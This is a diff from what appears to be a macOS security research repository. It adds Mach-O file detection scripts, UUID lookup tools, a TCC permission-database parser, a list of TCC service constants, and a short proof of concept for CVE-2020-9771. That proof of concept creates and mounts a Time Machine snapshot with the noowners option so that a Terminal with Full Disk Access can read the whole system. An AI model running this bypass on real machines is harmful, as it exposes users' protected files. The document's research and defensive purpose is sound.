35 Commits
v0.9 ... v1.0

Author SHA1 Message Date
Karmaz95
153d6098a8 Fixing an Infinite Loop article 2024-11-15 18:08:28 +01:00
Karmaz95
ab5b5cb26d Updating tester 2024-11-15 17:43:36 +01:00
Karmaz95
4479d55754 Fixing --tcc_location flag 2024-11-15 17:43:05 +01:00
Karmaz95
1d8edc592d Infinite Loop fix for MachOFileFInder 2024-11-14 21:46:05 +01:00
Karmaz95
5211e1b5fd TCC update 2024-11-12 20:14:07 +01:00
Karmaz95
a75925c3c9 TCC Update 2024-11-12 19:53:42 +01:00
Karmaz95
6c9db3e455 Uploading TCCParser 2024-11-12 19:13:27 +01:00
Karmaz95
b2c21cd37d Adding PoC for CVE-2020-9771 TCC Bypass for FDA Terminal exploitation 2024-11-11 21:45:45 +01:00
Karmaz95
445a43a335 Optimizing Mach-O Detection article. 2024-11-07 02:33:36 +01:00
Karmaz95
42c31d6a5e Wrapper for the file command. 2024-11-07 01:45:40 +01:00
Karmaz95
3f8c94da1a Final version of MachOFileFinder aka Tornado. 2024-11-07 01:41:29 +01:00
Karmaz95
b1ec973eeb Determine if file is Mach-O using CFBundleCopyExecutableArchitectures in SWIFT. 2024-11-07 01:18:50 +01:00
Karmaz95
e5aaf7bacd Further optimization, aka Three Times A Charm. 2024-11-06 23:38:23 +01:00
Karmaz95
1f98b4770a Optimize Mach-O file detection with python-magic and ARM64 filtering 2024-11-06 17:50:33 +01:00
Karmaz95
372848c321 Generate Mach-O files with ARM64 headers for specified file types. 2024-11-06 17:48:18 +01:00
Karmaz95
10e9de36ea UUIDFinder patch 2024-10-30 15:50:22 +01:00
Karmaz95
3e7160afec UUIDFinder patch 2024-10-30 15:48:17 +01:00
Karmaz95
c560fbe250 Moving xattr_ng.py to python directory 2024-10-30 00:22:54 +01:00
Karmaz95
debb1c796c Uploading xattr new generation tool 2024-10-30 00:21:45 +01:00
Karmaz95
022a871fc7 Small changes in UUIDFinder 2024-10-30 00:11:33 +01:00
Karmaz95
e00a60c74b Uploading scripts for UUID matching 2024-10-29 22:35:54 +01:00
Karmaz95
2a221e77b1 Uploading UUIDFinder tool 2024-10-29 22:35:29 +01:00
Karmaz95
3d287b719c Uploading get_uuid.py tool 2024-10-29 21:48:08 +01:00
Karmaz95
53a969f264 Uploading uuid_manager.py 2024-10-29 19:57:59 +01:00
Karmaz95
c51801309d Update to lief 15.0.1 2024-10-29 19:29:08 +01:00
Karmaz95
01d469e182 Uploading script that checks if a given UUID is present in a list of files 2024-10-29 19:28:05 +01:00
Karmaz95
24c94e2a70 Update to lief 15.0.1 2024-10-28 22:27:22 +01:00
Karmaz95
3f53729587 Uploading all kTCCService* constants on macOS 15 2024-10-16 22:44:09 +02:00
Karmaz95
64a4a03ca3 SIP article README.md update. 2024-09-23 22:31:43 +02:00
Karmaz95
c24795b006 Uploading crimson_waccess.py 2024-09-23 22:09:57 +02:00
Karmaz95
fb862b3df4 Preparing CrimsonUroboros for TCC patch. 2024-09-23 19:50:03 +02:00
Karmaz95
0e85f9322b Updating tests. 2024-09-23 19:49:48 +02:00
Karmaz95
0c0d2e869b Uploading sip_check programs. 2024-09-23 19:49:17 +02:00
Karmaz95
414140886d Uploading sip_tester. 2024-09-23 19:48:53 +02:00
Karmaz95
18cf471aa6 Adding list of SIP-specific entitlements. 2024-09-22 20:58:45 +02:00
24 changed files with 6438 additions and 173 deletions

View File

@@ -0,0 +1,44 @@
#!/usr/bin/env swift
import Foundation
// Function to check if a file is an executable Mach-O binary
func isExecutableMachO(filePath: String) -> Bool {
let fileURL = URL(fileURLWithPath: filePath)
return CFBundleCopyExecutableArchitecturesForURL(fileURL as CFURL) != nil
}
// Function to recursively process files in a directory
func processFiles(in directoryPath: String, recursive: Bool) {
let fileManager = FileManager.default
guard let enumerator = fileManager.enumerator(atPath: directoryPath) else {
print("Error: Unable to access directory at \(directoryPath)")
return
}
for case let file as String in enumerator {
let fullPath = (directoryPath as NSString).appendingPathComponent(file)
var isDirectory: ObjCBool = false
fileManager.fileExists(atPath: fullPath, isDirectory: &isDirectory)
if isDirectory.boolValue && !recursive {
enumerator.skipDescendants()
continue
}
if isExecutableMachO(filePath: fullPath) {
print("Executable Mach-O: \(fullPath)")
}
}
}
// Argument handling
if CommandLine.arguments.count < 2 {
print("Usage: swift ExecutableChecker.swift <directory_path> [-r]")
exit(1)
}
let directoryPath = CommandLine.arguments[1]
let recursive = CommandLine.arguments.contains("-r")
processFiles(in: directoryPath, recursive: recursive)

View File

@@ -0,0 +1,61 @@
#!/bin/bash
# Function to determine the Mach-O type based on `file` command output
get_macho_type() {
local file_path="$1"
file_info=$(/usr/bin/file "$file_path") # Ensure full path to `file` for consistency
if [[ "$file_info" == *"Mach-O"* && "$file_info" == *"bundle"* ]]; then
echo "BUNDLE_type:$file_path"
elif [[ "$file_info" == *"Mach-O"* && "$file_info" == *"core"* ]]; then
echo "CORE_type:$file_path"
elif [[ "$file_info" == *"Mach-O"* && "$file_info" == *"dSYM"* ]]; then
echo "DSYM_type:$file_path"
elif [[ "$file_info" == *"Mach-O"* && "$file_info" == *"dynamically linked shared library stub"* ]]; then
echo "DYLIB_STUB_type:$file_path"
elif [[ "$file_info" == *"Mach-O"* && "$file_info" == *"dynamically linked shared library"* ]]; then
echo "DYLIB_type:$file_path"
elif [[ "$file_info" == *"Mach-O"* && "$file_info" == *"dynamic linker"* ]]; then
echo "DYLINKER_type:$file_path"
elif [[ "$file_info" == *"Mach-O"* && "$file_info" == *"executable"* ]]; then
echo "EXECUTE_type:$file_path"
elif [[ "$file_info" == *"Mach-O"* && "$file_info" == *"fixed virtual memory shared library"* ]]; then
echo "FVMLIB_type:$file_path"
elif [[ "$file_info" == *"Mach-O"* && "$file_info" == *"kext bundle"* ]]; then
echo "KEXT_BUNDLE_type:$file_path"
elif [[ "$file_info" == *"Mach-O"* && "$file_info" == *"object"* ]]; then
echo "OBJECT_type:$file_path"
elif [[ "$file_info" == *"Mach-O"* && "$file_info" == *"preload executable"* ]]; then
echo "PRELOAD_type:$file_path"
elif [[ "$file_info" == *"Mach-O"* ]]; then
echo "UNKNOWN_type:$file_path"
fi
}
# Main function to process files recursively in the specified directory
process_directory_recursively() {
local dir_path="$1"
# Use find to get all files in the directory tree
find "$dir_path" -type f | while read -r file; do
get_macho_type "$file"
done
}
# Check if the directory path is provided as an argument
if [[ "$#" -lt 1 ]]; then
echo "Usage: $0 <directory_path>"
exit 1
fi
directory_path="$1"
# Check if the directory exists
if [[ ! -d "$directory_path" ]]; then
echo "Error: $directory_path is not a valid directory."
exit 1
fi
# Process files in the directory recursively
process_directory_recursively "$directory_path"

View File

@@ -1,50 +1,198 @@
#!/usr/bin/env python3
import os
import lief
import sys
import argparse
import struct
from concurrent.futures import ThreadPoolExecutor
import stat
class MachOFileFinder:
'''Class for finding ARM64 Mach-O binaries in a given directory.'''
# Mach-O and FAT magic numbers
MACHO_MAGIC = 0xFEEDFACE
MACHO_MAGIC_64 = 0xFEEDFACF
MACHO_CIGAM = 0xCEFAEDFE
MACHO_CIGAM_64 = 0xCFFAEDFE
FAT_MAGIC = 0xCAFEBABE
FAT_CIGAM = 0xBEBAFECA
def __init__(self, directory_path, recursive=False):
'''Constructor to initialize the directory path and recursive flag.'''
# Supported Mach-O file types
FILE_TYPE_MAP = {
0x1: "OBJECT",
0x2: "EXECUTE",
0x3: "FVMLIB",
0x4: "CORE",
0x5: "PRELOAD",
0x6: "DYLIB",
0x7: "DYLINKER",
0x8: "BUNDLE",
0x9: "DYLIB_STUB",
0xA: "DSYM",
0xB: "KEXT_BUNDLE",
}
# CPU type constant for ARM64
CPU_TYPE_ARM64 = 0x0100000C
def __init__(self, directory_path, recursive=False, only_arm64=False):
self.directory_path = directory_path
self.recursive = recursive
self.only_arm64 = only_arm64
def parse_fat_binary(self, binaries):
'''Function to parse Mach-O file, whether compiled for multiple architectures or just for a single one.
It returns the ARM64 binary if it exists. If not, it exits the program.'''
arm64_bin = None
for binary in binaries:
if binary.header.cpu_type == lief.MachO.CPU_TYPES.ARM64:
arm64_bin = binary
return arm64_bin
def isRegularFile(self, file_path):
"""Check if the specified file is a regular file."""
try:
return stat.S_ISREG(os.stat(file_path).st_mode)
except (OSError, IOError) as e:
# print(f"Error checking file type for {file_path}: {e}")
return False
def process_directory(self, root, files):
'''Method to process all files in the specified directory.'''
def determineFileEndianness(self, magic):
"""Determine the endianness of the file based on the magic number."""
if magic in (self.MACHO_CIGAM, self.MACHO_CIGAM_64, self.FAT_CIGAM):
return '<' # Little-endian file
else:
return '>' # Big-endian file
def getMachoInfo(self, file_path):
"""Check if a file is a Mach-O binary or FAT binary and optionally filter for ARM64."""
try:
with open(file_path, 'rb') as f:
file_size = os.path.getsize(file_path)
# Read the first 4 bytes to check the magic number
magic_data = f.read(4)
if len(magic_data) < 4:
return None
magic = struct.unpack(">I", magic_data)[0]
# Determine file endianness
endian = self.determineFileEndianness(magic)
# Check if the file is a single-architecture Mach-O binary
if magic in (self.MACHO_MAGIC, self.MACHO_MAGIC_64, self.MACHO_CIGAM, self.MACHO_CIGAM_64):
header_data = f.read(12) # Read CPU type, subtype, and file type fields
if len(header_data) < 12:
return "UNKNOWN"
cpu_type, cpu_subtype, file_type = struct.unpack(endian + "Iii", header_data)
if self.only_arm64 and cpu_type != self.CPU_TYPE_ARM64:
return None
return self.FILE_TYPE_MAP.get(file_type, "UNKNOWN")
# Check if the file is a FAT binary
elif magic in (self.FAT_MAGIC, self.FAT_CIGAM):
num_archs = struct.unpack(endian + "I", f.read(4))[0]
arm64_offset = None
# First pass: Find ARM64 architecture if present
for _ in range(num_archs):
arch_info = f.read(20) # Read architecture info (CPU type, subtype, offset, size, align)
if len(arch_info) < 20:
continue
cpu_type, _, offset, _, _ = struct.unpack(endian + "IIIII", arch_info)
# Validate offset before any further processing to avoid unnecessary reads
if offset < 0 or offset >= file_size:
continue # Skip this architecture if offset is invalid
if self.only_arm64 and cpu_type == self.CPU_TYPE_ARM64:
arm64_offset = offset
break # Stop once we find ARM64
# If only_arm64 is specified and no ARM64 architecture was found, skip this file
if self.only_arm64 and arm64_offset is None:
return None
# If ARM64 was found, process only that architecture
if arm64_offset is not None:
f.seek(arm64_offset)
macho_magic_data = f.read(4)
if len(macho_magic_data) < 4:
return None
macho_magic = struct.unpack(">I", macho_magic_data)[0]
arch_endian = self.determineFileEndianness(macho_magic)
if macho_magic in (self.MACHO_MAGIC, self.MACHO_MAGIC_64, self.MACHO_CIGAM, self.MACHO_CIGAM_64):
arch_header_data = f.read(12)
if len(arch_header_data) < 12:
return None
_, _, file_type = struct.unpack(arch_endian + "Iii", arch_header_data)
return self.FILE_TYPE_MAP.get(file_type, "UNKNOWN")
# If not only_arm64, process all architectures in FAT binary
if not self.only_arm64:
f.seek(8) # Seek back to after the FAT magic and num_archs
for _ in range(num_archs):
arch_info = f.read(20) # Read architecture info (CPU type, subtype, offset, size, align)
if len(arch_info) < 20:
continue
cpu_type, _, offset, _, _ = struct.unpack(endian + "IIIII", arch_info)
# Validate offset before any further processing to avoid unnecessary reads
if offset < 0 or offset >= file_size:
continue # Skip this architecture if offset is invalid
# Move to offset to read Mach-O header for this architecture
f.seek(offset)
# Read Mach-O magic and check for valid Mach-O binary
macho_magic_data = f.read(4)
if len(macho_magic_data) < 4:
continue
macho_magic = struct.unpack(">I", macho_magic_data)[0]
# Determine endianness for this architecture
arch_endian = self.determineFileEndianness(macho_magic)
if macho_magic in (self.MACHO_MAGIC, self.MACHO_MAGIC_64, self.MACHO_CIGAM, self.MACHO_CIGAM_64):
arch_header_data = f.read(12)
if len(arch_header_data) < 12:
continue
_, _, file_type = struct.unpack(arch_endian + "Iii", arch_header_data)
file_type_name = self.FILE_TYPE_MAP.get(file_type, "UNKNOWN")
return file_type_name
return None
except (IOError, OSError) as e:
return None
def processDirectory(self, root, files):
"""Process all files in the specified directory."""
for file_name in files:
file_path = os.path.abspath(os.path.join(root, file_name))
try:
binaries = lief.MachO.parse(file_path)
binary = self.parse_fat_binary(binaries)
if binary is not None:
print(f"{binary.header.file_type.__name__}:{file_path}")
except:
pass # Ignore parsing errors or non-Mach-O files
# Check if the file is a regular file before processing
if not self.isRegularFile(file_path):
#print(f"Skipping non-regular file: {file_path}")
continue
def process_files(self):
'''Method to process files based on the specified search type.'''
for root, dirs, files in os.walk(self.directory_path):
self.process_directory(root, files)
# Check if the file is a Mach-O binary or FAT binary
file_type = self.getMachoInfo(file_path)
if file_type:
print(f"{file_type}:{file_path}")
if not self.recursive:
break # Break the loop if not searching recursively
def processFiles(self):
"""Walk through the directory and process files using threading for faster execution."""
with ThreadPoolExecutor() as executor:
for root, dirs, files in os.walk(self.directory_path):
executor.submit(self.processDirectory, root, files)
if not self.recursive:
break # Stop recursion if not recursive
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Find ARM64 Mach-O binaries in a directory.')
parser = argparse.ArgumentParser(description='Find Mach-O binaries in a directory with an option to filter for ARM64.')
parser.add_argument('path', metavar='PATH', type=str, help='the directory path to search for Mach-O binaries')
parser.add_argument('-r', '--recursive', action='store_true', help='search recursively (default: false)')
parser.add_argument('--only_arm64', action='store_true', help='only match ARM64 architecture binaries')
args = parser.parse_args()
directory_path = args.path
@@ -53,5 +201,5 @@ if __name__ == "__main__":
print(f"Error: {directory_path} is not a valid directory.")
sys.exit(1)
macho_finder = MachOFileFinder(directory_path, recursive=args.recursive)
macho_finder.process_files()
finder = MachOFileFinder(directory_path, recursive=args.recursive, only_arm64=args.only_arm64)
finder.processFiles()

View File

@@ -0,0 +1,43 @@
import struct
# Mach-O magic number for 64-bit
MAGIC_64 = 0xFEEDFACF
# Correct file type codes for each specified Mach-O file type
file_types = {
"FVMLIB": 0x3, # MH_FVMLIB
"PRELOAD": 0x5, # MH_PRELOAD
"CORE": 0x4, # MH_CORE
"DYLIB_STUB": 0x9, # MH_DYLIB_STUB
}
def create_macho_file(file_type_name, file_type_code):
# Updated settings for ARM64 architecture
magic = MAGIC_64
cpu_type = 0x100000C # CPU_TYPE_ARM64
cpu_subtype = 0x0 # ARM64 subtype
ncmds = 0 # Number of load commands
sizeofcmds = 0 # Total size of all load commands
flags = 0x0 # No special flags
# Pack the Mach-O header for a 64-bit file
header = struct.pack(
"<Iiiiiii", # Format for Mach-O 64-bit header
magic,
cpu_type,
cpu_subtype,
file_type_code,
ncmds,
sizeofcmds,
flags
)
# Write the header to a new file
with open(f"{file_type_name}.macho", "wb") as f:
f.write(header)
f.write(b'\x00' * 1024) # Add some padding as placeholder content
# Generate files with the correct headers
for name, code in file_types.items():
create_macho_file(name, code)
print(f"Created {name}.macho with ARM64 and file type {hex(code)}")

View File

@@ -0,0 +1,19 @@
#!/bin/bash
# PoC: CVE-2020-9771 TCC Bypass It was patched by TCC Full Disk Access (FDA).
# Still, Terminal with FDA can read the contents of the whole system.
# https://theevilbit.github.io/posts/cve_2020_9771/
# Create a new local snapshot
tmutil localsnapshot
# Automatically retrieve the latest snapshot ID
SNAPSHOT_ID=$(tmutil listlocalsnapshots / | grep 'com.apple.TimeMachine' | tail -n 1 | awk '{print $NF}')
# Define the mount point (create if it doesn't exist)
MOUNT_DIR="/tmp/POC"
mkdir -p "$MOUNT_DIR"
# Mount the latest snapshot with noowners option
/sbin/mount_apfs -o noowners -s "$SNAPSHOT_ID" /System/Volumes/Data "$MOUNT_DIR"
echo "Snapshot mounted at $MOUNT_DIR"

View File

@@ -0,0 +1,24 @@
#!/bin/bash
# UUID to search for
search_uuid="9A749379-B169-3F21-B2B0-8EAA50D13820" # Replace with the UUID you're searching for
# Function to check UUIDs using CrimsonUroboros
check_uuid_in_app() {
app_path=$1
# Get the UUIDs using CrimsonUroboros
uuids=$(CrimsonUroboros -b "$app_path" --uuid 2>/dev/null)
# Check if the search UUID is in the output
if echo "$uuids" | grep -qi "$search_uuid"; then
echo "Found: $app_path"
fi
}
# Iterate through all applications in /Applications
for app in /Applications/*.app; do
if [ -d "$app" ]; then
check_uuid_in_app "$app"
fi
done

View File

@@ -0,0 +1,33 @@
#!/bin/bash
# This version uses dwarfdump to get the UUIDs for all architectures
# UUID to search for
search_uuid="5B5E7D61-6508-33C9-AC9B-6146AF7200C0" # Replace with the UUID you're searching for
# Function to check UUIDs using dwarfdump
check_uuid_in_app() {
app_path=$1
executable_path="${app_path}/Contents/MacOS/"*
for exe in $executable_path; do
# Check if the executable exists
if [ -f "$exe" ]; then
# Get the UUIDs for all architectures using dwarfdump
uuids=$(dwarfdump --uuid "$exe" 2>/dev/null)
# Check if the search UUID is in the output, case-insensitive
if echo "$uuids" | grep -qi "$search_uuid"; then
echo "Found: $app_path"
return
fi
fi
done
}
# Iterate through all applications in /Applications
for app in /Applications/*.app; do
if [ -d "$app" ]; then
check_uuid_in_app "$app"
fi
done

View File

@@ -0,0 +1,37 @@
#!/bin/bash
# This script checks if a given UUID is present in a list of files using dwarfdump.
# Usage: ./uuid_checker.sh <UUID> <file_list>
# Check if exactly two arguments are provided
if [ "$#" -ne 2 ]; then
echo "Usage: ./uuid_checker.sh <UUID> <file_list>"
exit 1
fi
# UUID to search for (first argument)
search_uuid="$1"
# File list (second argument)
file_list="$2"
# Check if the file list exists
if [ ! -f "$file_list" ]; then
echo "File list not found: $file_list"
exit 1
fi
# Read each file path from the file list
while IFS= read -r file_path; do
# Skip empty lines
if [ -z "$file_path" ]; then
continue
fi
# Use dwarfdump to get UUIDs for all architectures in the file
uuids=$(dwarfdump --uuid "$file_path" 2>/dev/null)
# Check if the search UUID is in the output
if echo "$uuids" | grep -qi "$search_uuid"; then
echo "Match found in: $file_path"
fi
done < "$file_list"

View File

@@ -0,0 +1,100 @@
kTCCService
kTCCServiceAccessibility
kTCCServiceAddressBook
kTCCServiceAll
kTCCServiceAppleEvents
kTCCServiceAudioCapture
kTCCServiceBluetoothAlways
kTCCServiceBluetoothPeripheral
kTCCServiceBluetoothWhileInUse
kTCCServiceCalendar
kTCCServiceCalls
kTCCServiceCamera
kTCCServiceContactlessAccess
kTCCServiceContactsFull
kTCCServiceContactsLimited
kTCCServiceCrashDetection
kTCCServiceDeveloperTool
kTCCServiceEndpointSecurityClient
kTCCServiceExposureNotification
kTCCServiceExposureNotificationRegion
kTCCServiceFaceID
kTCCServiceFacebook
kTCCServiceFallDetection
kTCCServiceFileProviderDomain
kTCCServiceFileProviderPresence
kTCCServiceFinancialData
kTCCServiceFocusStatus
kTCCServiceGameCenterFriends
kTCCServiceKeyboardNetwork
kTCCServiceLinkedIn
kTCCServiceListenEvent
kTCCServiceLiverpool
kTCCServiceMSO
kTCCServiceMediaLibrary
kTCCServiceMicrophone
kTCCServiceMotion
kTCCServiceNearbyInteraction
kTCCServicePasteboard
kTCCServicePhotos
kTCCServicePhotosAdd
kTCCServicePostEvent
kTCCServicePrototype3Rights
kTCCServicePrototype4Rights
kTCCServiceReminders
kTCCServiceRemoteDesktop
kTCCServiceScreenCapture
kTCCServiceSecureElementAccess
kTCCServiceSensorKitAmbientLightSensor
kTCCServiceSensorKitBedSensing
kTCCServiceSensorKitBedSensingWriting
kTCCServiceSensorKitDeviceUsage
kTCCServiceSensorKitElevation
kTCCServiceSensorKitFacialMetrics
kTCCServiceSensorKitForegroundAppCategory
kTCCServiceSensorKitHistoricalCardioMetrics
kTCCServiceSensorKitHistoricalMobilityMetrics
kTCCServiceSensorKitKeyboardMetrics
kTCCServiceSensorKitLocationMetrics
kTCCServiceSensorKitMessageUsage
kTCCServiceSensorKitMotion
kTCCServiceSensorKitMotionHeartRate
kTCCServiceSensorKitOdometer
kTCCServiceSensorKitPedometer
kTCCServiceSensorKitPhoneUsage
kTCCServiceSensorKitSoundDetection
kTCCServiceSensorKitSpeechMetrics
kTCCServiceSensorKitStrideCalibration
kTCCServiceSensorKitWatchAmbientLightSensor
kTCCServiceSensorKitWatchFallStats
kTCCServiceSensorKitWatchForegroundAppCategory
kTCCServiceSensorKitWatchHeartRate
kTCCServiceSensorKitWatchMotion
kTCCServiceSensorKitWatchOnWristState
kTCCServiceSensorKitWatchPedometer
kTCCServiceSensorKitWatchSpeechMetrics
kTCCServiceSensorKitWristTemperature
kTCCServiceShareKit
kTCCServiceSinaWeibo
kTCCServiceSiri
kTCCServiceSpeechRecognition
kTCCServiceSystemPolicyAllFiles
kTCCServiceSystemPolicyAppBundles
kTCCServiceSystemPolicyAppData
kTCCServiceSystemPolicyDesktopFolder
kTCCServiceSystemPolicyDeveloperFiles
kTCCServiceSystemPolicyDocumentsFolder
kTCCServiceSystemPolicyDownloadsFolder
kTCCServiceSystemPolicyNetworkVolumes
kTCCServiceSystemPolicyRemovableVolumes
kTCCServiceSystemPolicySysAdminFiles
kTCCServiceTencentWeibo
kTCCServiceTwitter
kTCCServiceUbiquity
kTCCServiceUserAvailability
kTCCServiceUserTracking
kTCCServiceVirtualMachineNetworking
kTCCServiceVoiceBanking
kTCCServiceWebBrowserPublicKeyCredential
kTCCServiceWebKitIntelligentTrackingPrevention
kTCCServiceWillow

3999
IX. TCC/python/CrimsonUroboros.py Executable file

File diff suppressed because it is too large Load Diff

145
IX. TCC/python/TCCParser.py Executable file
View File

@@ -0,0 +1,145 @@
#!/usr/bin/env python3
import sqlite3
import base64
import os
import argparse
import datetime
import pandas as pd
# Function to query and display the TCC schema
def query_schema(db_path):
try:
conn = sqlite3.connect(db_path)
cursor = conn.cursor()
cursor.execute("PRAGMA table_info('access')")
columns = cursor.fetchall()
for column in columns:
print(column[1], "|", end=" ")
print("")
except sqlite3.Error as e:
print(f"Query failed: {e}")
finally:
conn.close()
# Function to query TCC data
def query_access(db_path, output_as_table):
try:
conn = sqlite3.connect(db_path)
cursor = conn.cursor()
cursor.execute("SELECT * FROM access")
rows = cursor.fetchall()
columns = [
"service", "client", "client_type", "auth_value", "auth_reason", "auth_version",
"csreq", "policy_id", "indirect_object_identifier_type", "indirect_object_identifier",
"indirect_object_code_identity", "flags", "last_modified"
]
data = []
for row in rows:
# Decode BLOB data where applicable
csreq = base64.b64encode(row[6]).decode() if row[6] else "<NULL>"
indirect_object_code_identity = base64.b64encode(row[10]).decode() if row[10] else "<NULL>"
# Process fields with specific values
client_type = {"0": "Bundle Identifier", "1": "Absolute Path"}.get(str(row[2]), "Unknown")
auth_value = {
"0": "Access Denied", "1": "Unknown", "2": "Allowed", "3": "Limited"
}.get(str(row[3]), "Unknown")
auth_reason = {
"1": "Error", "2": "User Content", "3": "User Set", "4": "System Set",
"5": "Service Policy", "6": "MDM Policy", "7": "Override Policy",
"8": "Missing Usage String", "9": "Prompt Timeout", "10": "Preflight Unknown",
"11": "Entitled", "12": "App Type Policy"
}.get(str(row[4]), "Unknown")
# Format last_modified
last_modified = datetime.datetime.fromtimestamp(row[12]).strftime('%b %d %Y %I:%M %p') if row[12] else "<NULL>"
data.append([
row[0], row[1], client_type, auth_value, auth_reason, row[5], csreq, row[7] or "<NULL>",
row[8] or "<NULL>", row[9] or "<NULL>", indirect_object_code_identity, row[11] or "<NULL>", last_modified
])
if output_as_table:
# Use pandas to print the table
df = pd.DataFrame(data, columns=columns)
print(df.to_string(index=False))
else:
for record in data:
print(" | ".join([str(item) for item in record]))
except sqlite3.Error as e:
print(f"Query failed: {e}")
finally:
conn.close()
# Function to automatically query all available TCC databases on the system
def query_all_databases(output_as_table):
potential_paths = [
"/Library/Application Support/com.apple.TCC/TCC.db",
os.path.expanduser("~/Library/Application Support/com.apple.TCC/TCC.db")
]
for db_path in potential_paths:
if os.path.exists(db_path):
print(f"\nQuerying {db_path}:")
query_access(db_path, output_as_table)
# Function to get available TCC databases from REG.db
def get_available_databases():
reg_db_path = "/Library/Application Support/com.apple.TCC/REG.db"
if not os.path.exists(reg_db_path):
return []
try:
conn = sqlite3.connect(reg_db_path)
cursor = conn.cursor()
cursor.execute("SELECT abs_path FROM registry")
rows = cursor.fetchall()
return [row[0] for row in rows if os.path.exists(row[0])]
except sqlite3.Error as e:
print(f"Query failed: {e}")
return []
finally:
conn.close()
# Function to list available TCC databases
def list_available_databases():
available_databases = get_available_databases()
if available_databases:
for db in available_databases:
print(f"{db}")
else:
print("No available databases found.")
# Main script execution
def main():
parser = argparse.ArgumentParser(description='Parse TCC Database for Permissions Information')
parser.add_argument('-p', '--path', type=str, help='Path to TCC.db file')
parser.add_argument('-t', '--table', action='store_true', help='Output results in table format')
parser.add_argument('-a', '--all', action='store_true', help='Automatically query all available TCC databases on the system')
parser.add_argument('-l', '--list_db', action='store_true', help='List all available TCC databases on the system')
args = parser.parse_args()
if args.list_db:
list_available_databases()
elif args.all:
query_all_databases(output_as_table=args.table)
elif args.path:
db_path = os.path.expanduser(args.path)
if not os.path.exists(db_path):
print(f"Error: Could not open {db_path}")
exit(1)
if args.table:
query_access(db_path, output_as_table=True)
else:
query_schema(db_path)
print("")
query_access(db_path, output_as_table=False)
else:
parser.print_help()
exit(0)
if __name__ == "__main__":
main()

227
IX. TCC/python/UUIDFinder.py Executable file
View File

@@ -0,0 +1,227 @@
#!/usr/bin/env python3
import os
import json
import subprocess
import argparse
from typing import List, Optional, Dict
home_directory = os.path.expanduser("~")
DEFAULT_DATABASE_FILE = os.path.join(home_directory, '.uuid_database.json')
class UUIDFinder:
def __init__(self, db_location: str = DEFAULT_DATABASE_FILE):
"""Initialize UUIDFinder with database location."""
self.db_location = db_location
self.database = self.load_database()
def load_database(self) -> dict:
"""Load the UUID database from a JSON file."""
if os.path.exists(self.db_location):
with open(self.db_location, 'r') as file:
return json.load(file)
return {}
def save_database(self):
"""Save the UUID database to a JSON file."""
with open(self.db_location, 'w') as file:
json.dump(self.database, file, indent=4)
def extract_uuids(self, path: str) -> List[str]:
"""Extract UUIDs from a Mach-O file using dwarfdump."""
uuids = []
try:
result = subprocess.run(['dwarfdump', '--uuid', path],
capture_output=True, text=True)
if result.returncode == 0:
for line in result.stdout.splitlines():
if 'UUID:' in line:
uuid = line.split(':')[1].strip().split()[0].lower()
uuids.append(uuid)
except Exception as e:
print(f"Error extracting UUIDs from {path}: {e}")
return uuids
def get_path_uuids(self, path: str) -> Optional[List[str]]:
"""Get UUIDs for a given path from the database."""
return self.database.get(path)
def get_path_by_uuid(self, uuid: str) -> Optional[str]:
"""Find path corresponding to a given UUID."""
uuid = uuid.lower()
for path, uuids in self.database.items():
if uuid in uuids:
return path
return None
def handle_path_uuid(self, path: str, uuid: str):
"""Handle path and UUID combination for database operations."""
absolute_path = os.path.abspath(path)
uuid = uuid.lower()
if absolute_path in self.database:
if uuid in self.database[absolute_path]:
print(f"Record with UUID {uuid} already exists for {absolute_path}")
else:
print(f"Adding UUID {uuid} to existing record for {absolute_path}")
self.database[absolute_path].append(uuid)
else:
print(f"Creating new record for {absolute_path} with UUID {uuid}")
self.database[absolute_path] = [uuid]
def delete_path(self, path: str):
"""Delete a path and its UUIDs from the database."""
absolute_path = os.path.abspath(path)
if absolute_path in self.database:
print(f"Deleting record for: {absolute_path}")
del self.database[absolute_path]
else:
print(f"No record found for: {absolute_path}")
def resolve_uuid(self, path: str):
"""Get UUIDs for a path and add them to the database."""
absolute_path = os.path.abspath(path)
if not os.path.isfile(absolute_path) or not os.access(absolute_path, os.X_OK):
print(f"Invalid path or not an executable: {absolute_path}")
return
uuids = self.extract_uuids(absolute_path)
if uuids:
print(f"{absolute_path}: {', '.join(uuids)}")
self.database[absolute_path] = uuids
else:
print(f"No UUIDs found in {absolute_path}")
def show_database(self):
"""Display all records in the database."""
if not self.database:
print("Database is empty")
return
print("\nDatabase contents:")
print("-----------------")
for path, uuids in self.database.items():
print(f"{path} ", end="")
print(f"{', '.join(uuids)}")
print("\n-----------------")
def process_paths(args):
"""Process paths based on provided arguments."""
finder = UUIDFinder(args.db_location)
# Handle show_db flag
if args.show_db:
finder.show_database()
return
# Handle UUID lookup without path
if args.uuid and not args.path and not args.list:
path = finder.get_path_by_uuid(args.uuid)
if path:
print(f"Path for UUID {args.uuid}: {path}")
else:
print(f"No path found for UUID: {args.uuid}")
return
paths = []
if args.path:
paths = [args.path]
elif args.list:
if os.path.isfile(args.list):
with open(args.list, 'r') as file:
paths = [line.strip() for line in file if line.strip()]
else:
print(f"Invalid list file: {args.list}")
return
for path in paths:
absolute_path = os.path.abspath(path)
if args.delete:
finder.delete_path(absolute_path)
elif args.uuid:
finder.handle_path_uuid(absolute_path, args.uuid)
elif args.resolve:
finder.resolve_uuid(absolute_path)
else:
# Default behavior: display UUIDs for the path
uuids = finder.get_path_uuids(absolute_path)
if uuids:
print(f"UUIDs for {absolute_path}: {', '.join(uuids)}")
else:
print(f"No UUIDs found for {absolute_path}")
finder.save_database()
def main():
parser = argparse.ArgumentParser(
description='UUIDFinder - A tool for managing Mach-O executable UUIDs',
formatter_class=argparse.RawTextHelpFormatter,
epilog="""
Examples:
---------
1. Display UUIDs for a single executable from database:
--path /path/to/executable
-p /path/to/executable
2. Find path for a specific UUID in database:
--uuid 123e4567-e89b-12d3-a456-426614174000
-u 123e4567-e89b-12d3-a456-426614174000
3. Add or update UUID for a path:
--path /path/to/executable --uuid 123e4567-e89b-12d3-a456-426614174000
-p /path/to/executable -u 123e4567-e89b-12d3-a456-426614174000
4. Extract and add UUIDs from executable to database:
--path /path/to/executable --resolve
-p /path/to/executable -r
5. Delete path and its UUIDs from database:
--path /path/to/executable --delete
-p /path/to/executable -d
6. Process multiple executables from a list file:
--list /path/to/list.txt --resolve
-l /path/to/list.txt -r
7. Show all records in the database:
--show_db
-s
8. Use custom database location:
--path /path/to/executable --db_location /custom/path/db.json
-p /path/to/executable --db_location /custom/path/db.json
Notes:
------
- All UUIDs are stored in lowercase in the database
- The default database file is 'uuid_database.json' in the current directory
- When using --list, each path should be on a new line in the list file
- The tool automatically converts relative paths to absolute paths
